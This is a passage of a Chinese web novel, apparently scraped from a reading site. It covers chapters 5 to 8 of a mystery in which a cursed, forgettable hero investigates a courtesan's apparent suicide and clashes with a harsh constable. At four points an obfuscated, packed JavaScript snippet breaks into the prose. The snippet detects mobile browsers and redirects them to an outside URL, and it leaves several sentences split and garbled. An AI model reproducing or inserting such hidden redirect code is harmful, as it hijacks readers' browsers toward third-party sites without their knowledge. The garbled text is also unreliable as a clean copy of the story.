“陆捕头息怒。这位……公子,你说差役抓你进来,总有个由头。当时你身在何处?边上有什么人?不妨说出来一起参详参详。若真是误捕,提刑司定会还你清白。” 这是给叶青岚台阶下了。 他偏不下,指着陆冰,“若证明我是冤枉的,陆捕头须向我赔礼道歉。” 陆冰把后槽牙咬得咯咯直响,“刁民……” 正僵持间,大门吱呀一声打开,外面走进来一人,穿着家丁服色,越过差役,长驱直入,在众目睽睽之下,将一个烤漆食盒送到陆冰案头。 “少爷,夫人遣我给您送点心。” 陆冰正在气头上,愣了愣,吼道,“没看这里在办案吗?滚出去!” 家丁丝毫不怵,朗声说道,“夫人吩咐,定要我看着你吃下去!” “来人!拿下!” 没人敢动。陆府的家丁就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255573|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刑部侍郎的家丁,打狗还要看主人呢。 叶青岚眼珠一转,趁机拱火,“看看!又要无故抓人了!接下来就是抽鞭子了!陆捕头,你竟连自己府中的下人都不放过啊!” 陆冰看看家丁,看看叶青岚,再看看满屋子呆若木鸡的差役,气得脑袋发晕。他威名震京师,向来只有他逼迫别人,何曾受过别人逼迫。家丁面无表情地杵在眼前,像一尊石像。大眼瞪小眼良久,陆冰铁青着脸打开食盒,拿起一块糕,扔进嘴里大嚼起来。 碎屑掉了满地。 家丁眉开眼笑,“这就对了嘛。” 叶青岚暗暗称奇,看来这位提刑司三板斧也有怕的人。 陆冰一直吃到食盒见底,家丁才满意离开。 叶青岚看作弄得他够了,拍拍身上的土,站起来,“师爷方才问我在何处被抓。昨日我出来买早点,听见醉春风那里闹哄哄的,凑过去看热闹,就莫名其妙地被这位差爷带回来了。” 师爷一拍手,“原来如此。定是你问东问西,妨碍办案所致。提刑司有权保护命案现场,清理闲杂人等。差役抓你,不算无故拘禁。” 叶青岚道,“你怎知我问东问西,妨碍办案?” 师爷气道,“看你在审讯间口沫横飞,随意攀诬的丑态,也能猜想昨日情形。陆捕头,您说是不是?” 陆冰沉着脸道,“不错。” 叶青岚道,“抓我可以,为何不记录在案,以至于手下的人做了什么,陆捕头全然不知?” 师爷哑口无言,心里把这人犯骂了一百遍。 陆冰皱眉,“够了。人犯既已得到教训,又无实际罪证,不宜再关押。你们以后办差,在文书上多留点心。师爷,自己去提刑官大人那里领罚。” 一口锅栽到了师爷头上。 众人唯唯称是。 叶青岚估摸着陆捕头不会向他赔礼道歉了。此人出身高贵,眼高于顶,让他向一介小民低头,能要了他的命。 “陆捕头,能赐一包伤药么?小人胸口火辣辣地疼。” “得寸进尺!来人,把他扔出去。” 叶青岚确实是被扔出去的。两个差役架着他,一路走到提刑司大门,往外一推。又把他的外衣、钱袋、糖糕、火折子和软甲天女散花般洒了出来。 叶青岚叹着气爬起来,先捡起那件破了两个大洞的软甲,小心拂拭干净,叠起来放进怀里,再去收拾其余。 刚披上被弄脏了的大氅,就听马蹄声阵阵,一骑通体雪白的高头大马当先从提刑司里冲将出来,陆冰骑在马上,眼神凌厉,长鞭一甩,绝尘而去。他身后跟着十来个骑马的差役,一行人向醉春风的方向去了。 叶青岚被扬尘呛得连连咳嗽。 算起来,从他身受诅咒到如今,刚好过去了五十年。 叶青岚二十七岁时泄露天机,身受天罚:别人对他的记忆最多保留一日,子时一过,全世界都会忘记他。 幼薇等人连着陪了他四晚,每晚都以为是初见。老鸨明明见过他四次,却毫无印象。提刑司众人亲眼看着他招供,过了一夜,就忘得干干净净。 5. 第 5 章 连师爷案卷上的墨迹都自动蒸发,文字更改。这件案子里彻底抹去了他的存在,变成照夜妃独自吊死在房中。这样一来,更像是自杀了。 不过看这位陆捕头的样子,还不打算以自杀结案。 叶青岚晃晃悠悠地踱到醉春风门口,正是午时,太阳高悬。 醉春风大门紧闭,两个差役守在外面,十几匹马堵在路中间,行人到此都得小心翼翼地绕行。 叶青岚先到隔壁周记面摊上吃了碗素面,再去街对面的锦绣绸缎庄转了转,向掌柜的打听天蚕丝。掌柜的说,那东西有价无市,一般人派不上用场,傻子才会进货来卖,还问他是不是来查案的。 “今儿一早可热闹了,提刑司三板斧带人封了醉春风,正挨个审问呢。” 叶青岚谢过掌柜的,避开差役的耳目,走到湖边。滴翠湖形似鸭蛋,三面环山。临湖的这条街上没有民居,都是商铺,平时人声鼎沸,往往喧闹到午夜。醉春风楼高三层,是整条街上最高的建筑,天气好的时候登上楼顶,正好将湖光山色尽收眼底。 他踮起脚,沿着湖岸绕到醉春风背面。只见一楼的窗户紧闭,透过窗纱,隐约可见里面人影晃动。窗纱太厚戳不破,他便把耳朵贴上去。 一阵凄厉的哭声传入耳中。 “官爷您说这叫什么事儿啊,眼看上元节快到了,她怎么就想不开吊死了。她是一了百了了,我这醉春风还要开门做生意……” 陆冰的声音响起,“蔡妈妈,听你的意思,此处的生意全靠照夜妃顶着?” 蔡妈妈吸了吸鼻子,“那倒也不是。不过上元夜惯例由花魁表演上元舞,照夜妃说要专心练舞,近来都不肯接客了。我想着,这上元舞若是演好了,博得贵人们打赏,能顶半年收益,也就默许了。谁知她……她舞还没跳,人就没了,害得我是人财两空啊!” 屋子里静了片刻,陆冰问,“案发前一晚,你在何处?” 蔡妈妈迟疑了一下,“在楼下接待客人。” “何人可以证明?” “当晚的客人都可以证明。” “客人睡完姑娘就走了,上哪儿找去?” “我们楼里有账本,就是恩客簿子,所有客人的名字都在上面。” 陆冰一拍桌子,“还有这等好东西!怎么不早说?赶快拿来!” 脚步声、衣料窸窣声、纸页翻动声。 半晌,陆冰道,“好!把这里写着名字的,和照夜妃接触过的恩客全都抓起来,细细审问。” 蔡妈妈倒吸一口冷气。 “官爷这是要做什么?” “抓凶手!” “哪……哪来的凶手啊?” 一名差役道,“禀陆捕头,恩客簿子上写的多为化名。” “无妨,常逛醉春风的无非几种人,你带着蔡妈妈到太学附近转一圈,保证能找到。” 听这意思,是要去抓读书人。 蔡妈妈开始推脱,“客人那么多,老身哪里记得住脸……” “蔡妈妈,醉春风能不能开下去,就在你一念之间。要是抓回来的人数比簿子上的少,我拿你是问。” 叶青岚听得连连咋舌,这陆捕头蛮不讲理,作风几近盗匪。正常人断案都会先问被害人和谁有过节,缩小嫌疑人的范围,再下网捞鱼。他倒好,直接把整个鱼塘炸飞。 耳边突然风声飒然,叶青岚后颈的汗毛全都竖了起来。他本能地向后一仰,一枚飞镖破窗而出,擦着鼻尖飞过。他一惊之下,立足不定,整个人落入水中。 腊月的湖水冰冷刺骨,每一寸皮肤都像针扎一样疼,手脚瞬间僵硬。他拼命划拉几下,够到岸边,脑袋露出水面,正对上陆冰愤怒的脸。 “又是你!” 叶青岚跪在地上,湿透了的大氅沉重地压在身上,滴滴答答地淌水,冰冷的湖风阵阵吹来,冻得他连连哆嗦。 陆冰冷笑,“把这个鬼鬼祟祟偷听审案的人抓回提刑司!这次本捕头没冤枉你吧?” “阿嚏,小人并非有意偷听,只是……” “只是不巧被本捕头发现了。” “大人武艺超群,耍的一手好飞镖。” “本捕头还会些别的兵刃,一会儿挨个在你身上试一试。” 这位陆捕头似乎有折磨人的癖好。 叶青岚像个游魂似的活了这些年,早就习惯了说话做事不用承担任何后果。不巧的是,距离陆捕头今早放他出狱,还没超过一日。他还记得他是个干扰办案的奸猾小人,刚才的举动又坐实了他的可疑之处。 看来先前那番招供,还得拿出来用一次。 叶青岚苦着脸,“我和大人说实话吧。我仰慕照夜妃多年,饱受相思之苦,如今她死得这样惨,我只想知道是谁害了她。” 他吸了吸鼻子,努力扮演一个痴心的穷酸。 陆冰问,“姓名、年龄、籍贯、职业。” “在下叶青岚,浮世一闲人。二十七岁,金陵人士。” 陆冰伸出一只手,“把刚才那本恩客簿子拿来。” 簿子从头翻到尾,照夜妃的客人名单中,根本没有叶青岚三个字。 陆冰扬起眉毛。 叶青岚羞惭道,“小人囊中羞涩,虽恋慕照夜妃多年,始终未能一亲芳泽。惭愧,惭愧。” “恋慕多年……到底是几年?” 叶青岚想起幼薇的话,“两年。她从前的名字叫绛珠,去年中秋才改的。” 这是照夜妃走红前的事,一般人并不知道。 陆冰神色略有缓和,“两年你都没凑够嫖资?” “我的一家一当大人都搜过了,统共就那点散碎银子。我这人天生与财神无缘,攒不下钱。” 这倒不是谎话。当年他跟着阿炎行军打仗,有了银子也没处花。后来沦为这世间的看客,一个永远不会被记住的人,攒那些身外之物又有何用。 陆冰鄙夷地看了他一会儿,“滚远点,再犯在我手里,有你好受的。” 叶青岚略感意外。陆捕头居然高抬贵手,放过了他,他都做好准备再挨一顿鞭子了。 他行了一礼,滴着水走开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255574|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿衣服贴在身上难受之极,胸前伤口阵阵刺痛。路边有个烤饼摊子。他向好心的老板倒了一通苦水,得到允许蹲在烤炉后面烘干。炉火不太旺,他脱了大氅,转过来转过去,烤一会儿正面,再烤一会儿背面。 腊月天寒,湖边湿气又重,叶青岚烘了一个时辰,终于不再滴水了。贴身的衣服阴干了,寒气全都钻进骨头缝。 好心的老板端来一碗姜汤,他刚抿了一口,就看到街道尽头烟尘滚滚,马蹄声惊天动地,陆捕头和他的手下带着一长串人回来了。 来人都是书生打扮,年轻者居多,不乏眉清目秀、唇红齿白的,个个双手绑在身后,神情激愤,有的人衣衫不整,脸上还有伤痕。 蔡妈妈被两名差役押着,一脸生无可恋状。 陆冰骑在马上,好整以暇地翻着恩客簿子,“太平盛世,读书人也有钱逛青楼了。都抬起头来,认一认自己寻欢作乐的地方。” 排第一个的书生喊道,“我们是上京赶考的举子,有功名在身,你怎可随意抓捕?” 叶青岚吃了一惊。这三板斧当真雷厉风行,为了一桩花魁上吊案,居然带人扫荡了科考举子的会馆。 陆冰审视着他,“你叫什么来着?花下客?进了考场,可别把这名字写到卷子上。” 那人抖了抖,“我不知道你在说什么。” “蔡妈妈指认了你。” “她是个青楼老鸨,见人说人话,见鬼说鬼话。” “你的意思,本捕头是鬼咯!” “提刑司和青楼老鸨沆瀣一气,真是自甘下流!” “你睡姑娘的时候倒不觉得下流?” “我没有!” 陆冰喝道,“蔡妈妈你过来!” 蔡妈妈仰天哭喊,“老身不活了!”随即咚地一声,倒在地上。 叶青岚暗赞一声,好演技。 陆冰冷笑着走到下一人面前,“牛大壮,你倒实诚,用的是真名。” 牛大壮唯唯诺诺,“小人知错了,举子不该逛青楼,求陆捕头放过小人。” 陆冰举起手掌,拍了拍他的脸,“若都像你这么乖觉,提刑司何愁案子办不完?” 边上一人喊道,“陆冰!你别仗着你爹是刑部侍郎就为所欲为!等来日我们之中有人高中,授了官职,再来治你的罪!” “这位是玉面郎君柳十七郎?好大的口气。也不必等来日,柳公子一句话,陆某这就去令尊礼部员外郎府上磕头赔罪,顺便把柳公子的赠妓十七首艳词好好宣扬一番。” 柳十七郎的脸色变白了。 陆冰走到下一人面前,还未开口,那人突然张大嘴巴,打了个惊天动地的喷嚏,飞沫溅了陆冰一脸。 空气凝固了。 叶青岚替那人捏了把汗。他瘦得像一具穿了衣服的骷髅,浑身抖个不停,仿佛能听到体内的骨骼在乒乓乱响。 他瓮声瓮气道,“陆……陆捕头,小生偶感风寒,得罪了。” 陆冰翻动簿子,“风流债主陈思贤?哈,你们这些读书人,一个比一个有才学。” 6. 第 6 章 陈思贤喉头哽住了,“陆捕头,小人沉迷美色,弄得倾家荡产,深自痛悔。求大人打醒我!” “这个忙,本捕头乐意帮。” “多谢大人,阿……阿嚏!” 又一个惊天动地的喷嚏过后,陆冰脸上多了条亮晃晃的清水大鼻涕。 叶青岚害怕得闭上眼睛。再睁开的时候,只见陆冰抬起手,狠狠地抹了把脸,险些把鼻子抹下来。 他放过了陈思贤,走到下一人面前。 “乐游原主人?孟公子,是嫌惜朝这本名不够动听么?” 孟惜朝看着像个硬骨头,昂着头讥讽道,“不及三板斧的万一。” “哦?” “陆捕头不必惺惺作态。你们提刑司成日里抓人搜身拷打,早已恶名远扬。办案不讲证据,胡乱猜疑,屈打成招,如何能让世人心服?” 陆冰翻着手中的簿子,“孟公子去年秋天连续光顾醉春风七日,豪掷四百两纹银,求见照夜妃。这难道不是证据?” “我逛青楼,与人命案何干?难道妓女死了,定是恩客杀的?京城何人不逛醉春风?就连令尊刑部侍郎三品大员,去年中秋夜也巴巴地打赏花魁呢!” 陆冰的脸色由青转白,由白转红,猛地抽出鞭子往地上一甩。这一下声如裂帛,一旁的马匹受了惊,前蹄抬起,长声嘶鸣。举子们慌乱躲闪,数人被推倒,摔在地上。差役们连忙去拉缰绳。 一片混乱中,陆冰翻身上马,喝道,“全部带回提刑司。着人去他们住的会馆细细搜查,任何蛛丝马迹都不能放过!” 举子们哭喊者有之,喝骂者有之,念佛者有之,背诵圣贤书者有之。叶青岚看着差役们前推后拥,押着一长串人走了。 陆冰骑马跟在最后,手里的鞭子高高扬起。 提刑司的人前脚走,蔡妈妈后脚就醒了。醒来后的第一件事,便是一抬手,揭掉了贴在醉春风大门上的封条。 “恩客都抓完了,姑娘们,收拾屋子,开门迎客!” 叶青岚大为叹服。提刑司的封条说揭就揭。看来这位蔡妈妈也是个狠角色。 腊月的天黑得早,刚到酉时,街上便点起了灯,如一条彩带铺在滴翠湖边。彩带中最亮的一盏,就是醉春风门口的大花灯。 叶青岚裹紧干透了的大氅,施施然走进醉春风。 蔡妈妈迎上来。她为了压惊隆重打扮了一番,一笑,脸上的粉就往下掉,“哎哟,你不是早上掉进湖里那个……叶公子吗?” 叶青岚微笑,“妈妈的记性可真好。过目不忘。” 蔡妈妈掏出手绢拭泪,“公子说笑了。老身命苦,醉春风遭此横祸,花魁横死,还连累许多客人,往后谁还敢来啊!” “妈妈说哪里话,我这不是来了吗。” 蔡妈妈立刻转悲为喜,“苍天有眼,派来公子这样的大恩人。恩人楼上请,我叫新任花魁出来伺候。” “哦?这么快就有新任花魁了?” 蔡妈妈一张老脸笑成了菊花,“比前任花魁更漂亮。公子见了就知道了。” 幼薇今夜穿了件蝶戏花间的粉裙,眉如春山,红唇娇艳欲滴。她确实比前几日更漂亮了,而是眉目间透着一股喜气,未语先笑,容光焕发。 “这位公子好生面善。” 叶青岚心中一动,“你认得我?” 幼薇弯腰给他斟酒,“我虽叫不出公子的名字,但一见了你,就似故交一般,想必是前世有缘。” 叶青岚揶揄道,“这风月场上的套话,你怕是能说上一箩筐不带重样的。” 幼薇瞪大眼睛,“哪有这许多?公子看我像是如此轻浮之人吗?” 叶青岚虽然和她厮混了四夜,却只是听曲饮酒而已,对她不甚了解。 “你是什么样的人?说来我听听。” 幼薇挨着他坐下,一双妙目忽闪忽闪,“我呀,是这里最好欺负的人。” 前天晚上照夜妃破门而入,抢走她的客人,当众羞辱她。隔天,照夜妃就吊死了。 叶青岚低声道,“欺负你的人,是不是都会死?” “公子说哪里话……” “蔡妈妈说你是新任花魁。” “只要能伺候公子这样俊俏的男人,当不当花魁又有什么要紧。” 她像没有骨头似的靠过来,双手搂住叶青岚的脖子,吐气如兰,“如此良宵,公子还等什么?” 白皙的手指解开衣带,脱下外衣,拨开前襟,还没触到肌肤,突然缩了回去。她盯着那道狰狞的鞭痕,“这是谁打的?” “提刑司的陆捕头。” “那三板斧人人惧怕,公子怎么就招惹了他。躺下,我给你涂药。” 叶青岚被按倒在榻上。幼薇转身从抽屉里取出一个小瓷瓶,倒出些白色的粉末,敷在伤口上。 伤口又是一阵刺痛。 “公子受了伤,怎么不去医馆包扎?” “这里可比医馆强多了,既有伤药,又有如此温柔细心的姑娘。” 幼薇裁了一截纱布,将伤口细细包上,飞了个媚眼,“一会儿别太用力,小心崩开。” 叶青岚和她目光相接,“我看姑娘的面相,不日就有一桩大喜事。” “公子还会相面?” “不瞒你说,我是个先知,能看到天命。此地本有一只飞天的鸾凤,盘桓于隔壁房中,不知何时移到此处来了。姑娘可知是何缘由?” 幼薇脸上的喜色褪去了,“公子是想问照夜妃吊死一案吧?” “哦?莫非她死在隔壁?” “正是。” “这就对了,她一死,那飞天的鸾凤就移到你身上了。” 幼薇一听这话,霍地站起,“晦气!我和她有何干系?她嚣张跋扈,处处树敌,活该落到这个下场。” “树敌?你是说她为人所害?” 幼薇僵了一僵,“公子到底是来做什么的?” 叶青岚压低声音,“我呀,看到你的天命了。” 他坐起来,伸出两根指头乱掐,“你会弹琴,也会跳舞,可琴技平平,舞技更差,总是被人压一头。照夜妃仗着自己是花魁,抢走你的客人,你恨她入骨,又争不过,只能私下摔东西泄愤。她一死,最高兴的人就是你了。” 幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255575|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薇怔在原地,“你怎么知道这些……” “我看到你披上了照夜妃身死时穿的舞衣,看到你在万众瞩目下成为醉春风的花魁。还有……” “还有什么?” 叶青岚停顿片刻,忽然掐尖嗓子,“我看到你鼻青脸肿,被押上刑场,在刽子手的刀下香消玉殒!” 恰在此时,身后响起笃笃笃的敲门声。 “啊!” 幼薇尖叫一声,手中的药瓶摔在地上,砸得粉碎。 房门弹开,一个七八岁的小孩端着托盘,盘中是一个青瓷茶盅。 “幼薇姑娘,这是厨房给花魁娘子送的雪莲茶。” 幼薇看清她的脸,长出一口气,“拿进来吧。” 叶青岚喝道,“慢着,那茶盅的盖子上怎么有照夜妃的血手印?” 幼薇浑身一激灵,捂住眼睛,“什么东西?快拿走!” 那小孩是个实诚人,揭开盖子,翻过来翻过去查看。天青色的釉面毫无杂质,哪来什么血手印。 “什么都没有啊。” 叶青岚道,“先知的眼睛才能看见。幼薇,照夜妃来找你了。” 幼薇浑身发抖,“滚!滚出去!冤有头债有主,你自取灭亡,和我有什么关系?!” 她抓起桌上的茶杯,一个接一个往外扔。小孩吓得不轻,把托盘往地上一放,赏钱也不要了,扭头跑了出去。 幼薇靠着桌子喘息良久,突然转过头,怒道,“什么天命,如今庙会上算卦的都不玩这一套了!公子若是为照夜妃而来的,也不必故弄玄虚。实话告诉你,醉春风上上下下,没有人不恨她。” “为何?” “她那张贱嘴,成天出口伤人,发不完的脾气,当上花魁后更是气焰嚣张,真把自己当贵妃了,视姐妹们如同草芥。大家都是一个窑子里的,谁比谁高贵?!” “她就要走了。” “她是放话说要走。可妈妈严防死守,她未必走得了。” “哦?” “妈妈可宝贝她了,舍不得这颗摇钱树。” 叶青岚目光闪动,“前天晚上你在做什么?” 幼薇已镇定下来,眼神里没了惊惶,反倒有些挑衅的意味。 “你不是能看到天命嘛,何必问我?” 叶青岚摇了摇头,“淘气。” 看来今晚诈不出来了。 他捡起地上的托盘,又有了主意,“我们玩个游戏如何?从现在开始不许眨眼,输的人就喝一口雪莲茶。” “不好。” 叶青岚掏出钱袋子扔在桌上,“若是赢了,这些都归你了。” 那袋子鼓鼓囊囊,装满了他从河边捡来的石头。撞在桌上,发出咚的一声。 幼薇垂眸看了看,换上一副笑脸,“一言为定。” 一炷香后,雪莲茶见了底。幼薇伏在桌子上,沉沉睡去。叶青岚伸指探了探鼻息,呼吸均匀。他叹了口气,抱起她放到床上,盖好被子。一用力,胸前伤口果然又崩开了。 “这茶真有那么催眠啊……” 这碗雪莲茶无毒,但前晚的茶里必定有毒。 7. 第 7 章 他穿过房间,推开窗户,冷风灌进屋子,湖对岸的山头上刚刚升起一轮明月,形状比前天晚上略圆一些。 叶青岚半个身子探出窗外,向左边看去。隔壁房间窗户紧闭,淡淡月光洒在镂花窗格上,完全看不出那里曾经吊过一个人。 他关上窗,径直走出房间,下了楼。 一楼冷冷清清,没几桌客人,乐班有一搭没一搭地弹着小曲。叶青岚走下楼梯,放声大喊,“蔡妈妈!蔡妈妈在吗?” 凝香跑过来,“这位爷,蔡妈妈已经歇下了。” 她看起来容色憔悴,眼下挂着两圈乌青。 叶青岚怪叫,“歇下了?客人还没歇下,她倒先歇下了?!给我把她叫来。” 蔡妈妈披了件紫色袄子,噔噔噔跑下楼。 “公子别动气,是不是姑娘伺候不周?” “还说呢!上去老半天,什么也没干,光看着她喝茶了,喝完茶倒头就睡,叫都叫不醒。蔡妈妈,你们醉春风的姑娘,到底有没有职业道德?” 蔡妈妈按着胸脯,一叠声道,“哎哟,这还了得。公子息怒,我这就另找姑娘,给公子赔罪。凝香,还不扶公子上楼?” 叶青岚越过凝香,一把扣住蔡妈妈的手腕,“不用另找了,就你吧。” 空气凝固了,连乐班都停了演奏。蔡妈妈大惊失色,“公子莫要拿老身取笑……” “我没有说笑。” 蔡妈妈脸上的粉扑簌簌地往下掉,“老身年过五旬,怕是……伺候不好。” “本公子就喜欢年过五旬的。” “……老身很久没做了,技艺生疏。” 叶青岚把那沉甸甸的石头袋子塞到她手里,“无妨,热情就行。” 蔡妈妈看看手,看看他,又看看手。凝香目瞪口呆,一时也说不出话来。逛青楼的什么怪人都有,看中老鸨的还是头一个。 “还看什么?走吧!” 叶青岚拖着蔡妈妈往楼上走,越过二楼,直奔三楼,穿过走廊,停在照夜妃的房门前,蔡妈妈颤声道,“这是照夜妃吊死的屋子,门上还贴着提刑司的封条呢。” “大门口的封条不是被妈妈撕了吗?再撕一张又有何妨?”他声音一沉,“我知道这是照夜妃的屋子,她生前,我没能进来看她,她死后,我总该进去凭吊一番。” “还是另寻他处……” “嘘,妈妈你听,照夜妃在里面喊我们呢。” 蔡妈妈整个人僵住了。 叶青岚一脚踢开门,把蔡妈妈推了进去。 “来!咱们三个好好亲近亲近。” 房间里一片狼藉,简直像被群匪洗劫过一样,几乎找不出一件完好的东西。柜门劈成两半,绫罗绸缎割烂了堆在地上,翻倒的桌子脚上挂着首饰珠钗。红绡床帐被划得四分五裂。 蔡妈妈按着心口,不住念叨,“造孽,真是造孽。” 叶青岚伸腿一绊,蔡妈妈庞大的身躯跌倒在床上,飞起一大蓬棉絮。 她眼睛瞪得滚圆,“公子不会想在这里……” 叶青岚拖过烛台,点亮蜡烛,烛光从下往上照着他的脸。 “这可是照夜妃睡过的地方。” 蔡妈妈面容扭曲。干这行多年,从没遇上过这么变态的! “我来问你,照夜妃出事前一天,见过什么人?做过什么事?” “老身不知。” “你是此间主人,怎会不知?” “她……她红了以后,尾巴翘上天啦,哪还把我这个妈妈放在眼里。高兴了就出来陪陪客人,不高兴了就把自己关在房间里一整天,说要练舞。” “在这里练舞?” “是啊。你脚下那块波斯地毯可是重金买来的,专门给她练舞用。现在被划成这副模样……” “照夜妃对你说要离开醉春风?” “是啊。这个忘恩负义的白眼狼,我一手把她捧红,现在翅膀硬了就想走。” “你不想让她走,便杀了她。” “是啊。” 此话一出,两人都是一呆。 蔡妈妈脸上的惊惶突然变成了狠厉,高声喊道,“进来吧!” 大门倏地打开,两个壮汉手提钢刀冲了进来,齐齐朝叶青岚砍来。 叶青岚随手抓起烛台一横,刀子砍在上面,反弹回去。这烛台乃黄铜所制,长短轻重近似一杆长枪,十分趁手。叶青岚甩动烛台,斜刺横挑,两招就把钢刀打掉,又刺两枪,正中脚踝,两人当场滚倒在地,爬不起来。 蔡妈妈连滚带爬地往外跑,叶青岚用力一掷,烛台贴着她头顶飞过,钉在门板之上。 他几步跨到门口,双指抵住蔡妈妈咽喉,厉声道,“果然是你杀的人。” 蔡妈妈吓得动也不会动了,半晌,才呜呜咽咽地哭起来。 “不是我,真的不是我!” 叶青岚看向那两个壮汉。方才一交手便知,他们俩身板虽壮,武艺却平平,连太祖长枪的一招都抵挡不住。 “是你指使他们俩下的手,对不对?” 蔡妈妈不再变脸了,连连磕头,“这位英雄,你真的误会了。我只是派阿猫阿狗盯着照夜妃,生怕她不告而别。” 名叫阿猫和阿狗的壮汉各自捂着脚脖子,点头如捣蒜。 “照夜妃改了名后,大红大紫,求见她的人能从城东门排到城西门。谁知好日子没过几天,她就说要走。我是好话歹话说尽,她才勉强同意跳完上元舞再走。可是她这个人喜怒无常,脾气又大,我生怕她说话不算话,才安排了人日夜盯守。” “守在哪?” “外面楼梯后有间小室,正好可以看到这里的房门。” 原来如此,难怪阿猫和阿狗来得如此之快。 “你们刚才冲出来,是想杀了我?” “你揭了提刑司的封条,明天三板斧来了,总要有个交代啊。” 叶青岚气笑了,“你是要把揭封条的罪过都安在我头上?若非我会几招枪法,岂不是已被阿猫阿狗砍了。” “我们是守法良民,怎敢害人性命,最多抓你去见官……英雄你听我说,照夜妃是我的摇钱树,她死了对我有什么好处?我失心疯了才会去杀她。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255576|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这话倒是合情合理。 叶青岚转过头,“阿猫阿狗,你们既然一直守着房门,出事那天晚上,可有人进过屋?” 阿猫和阿狗一起摇头,“没人进过。” 蔡妈妈道,“照夜妃古怪得很,晚上若不接客就会锁门,谁也不让进去的。” 叶青岚低头回想,陆冰破门而入的时候,房门里确实挂了把黄铜小锁。他亲眼看见扭断的锁片飞过屋子。 那凶手究竟是如何进出房间? 他松了手,蔡妈妈颤颤巍巍地爬起来。 “公子是个明白人。照夜妃为了赎身,拼了命地敛财,前不久还哄骗一个书生典当了全部身家,给她上贡。结果拿了钱,就一脚把人踹了,那书生大受打击,瘦得都不成人形了。你说,这么一个心狠手辣的人,我哪敢强留啊。” 叶青岚问,“那书生叫什么名字?” “风流债主,大名叫陈思贤,刚被提刑司抓了。” 第四日 天刚蒙蒙亮,滴翠湖上笼罩着一层白雾,对面的山峰只露出隐约的轮廓。 叶青岚沿着湖岸,走到醉春风一楼窗户外。昨天就是在这里,他被陆捕头一支飞镖射入湖中。叶青岚深信,失败乃成功之母,从哪里跌倒,就要从哪里爬起来。 朦胧晨曦中,他纵身一跃,当然不是往湖里跳,而是双手抱住外墙柱子,一寸一寸往上爬。柱子面向湖岸,常年受水气侵蚀,表面的油漆已有些剥落,不容易抓牢,爬到二楼的时候,手心出了汗,滑下来几寸。叶青岚像只大蜥蜴一样盘在柱子上休整了片刻,才一鼓作气,爬上三楼,双手扒住屋檐,一个跟斗翻上屋顶。 脚下的瓦片嘎吱作响,冰冷的湖风吹得他连打几个喷嚏。 他屏息静听了片刻,无人开窗查看。看来楼里的人还在熟睡。 叶青岚猫着腰走到最西边照夜妃的房间上方。 一低头,只见窗框顶端的横木上楔着两个大铁钩,间隔约有一臂。看来出事那天,天蚕丝就是缠在这两个钩子上。提刑司取走了丝线,却没拔掉钩子。 叶青岚伸手一推,铁钩纹丝不动。若非如此牢固,也承受不住一个人的重量。 指尖有些异样,拿近一看,原来沾上了几星铁锈。 叶青岚微微皱眉。 依当日所见,照夜妃悬在窗口,舞衣飘飞,头的位置大约在窗户正中间,脚差不多能够到二楼。 就好像她练舞练到一半,忽萌死志,踩上窗台,反手往横木上敲了两颗大铁钉,挂上天蚕丝,把自己吊了上去。 叶青岚探出身子,看看左右,突然眼睛一亮。 右边柱子内侧有个清晰的手印,四指在上,拇指在下,看大小像是女子的手印。 他伸手比了比,从形状来看,是左手。 从隔壁房间伸过来的,女子的左手。 两扇窗户中间只隔了一根柱子,身手灵活的人完全可以跨过去。照夜妃的房门锁了,窗可没关。 隔壁住着幼薇。出事前晚,她指着照夜妃大骂,你不得好死!照夜妃一死,她就当上了花魁。 8. 第 8 章 初升的太阳刚好拨开云层,那手印在阳光下更显得清清楚楚。 叶青岚的眉头皱得更紧了。 下方传来细碎的脚步声。他俯身一看,只见两个女子一前一后,走向泊在湖边的画舫。前面那人脚步轻捷,后面那人步履蹒跚,像是上了年纪。前面那人转过脸来,叶青岚看得分明,正是幼薇。 一大清早,连卖早点的都没出摊,她下楼干什么? 画舫就泊在岸边,下面既然有人,他再沿着柱子爬下去定会被察觉。 叶青岚小心翼翼地翻过歇山顶,爬到另一侧。 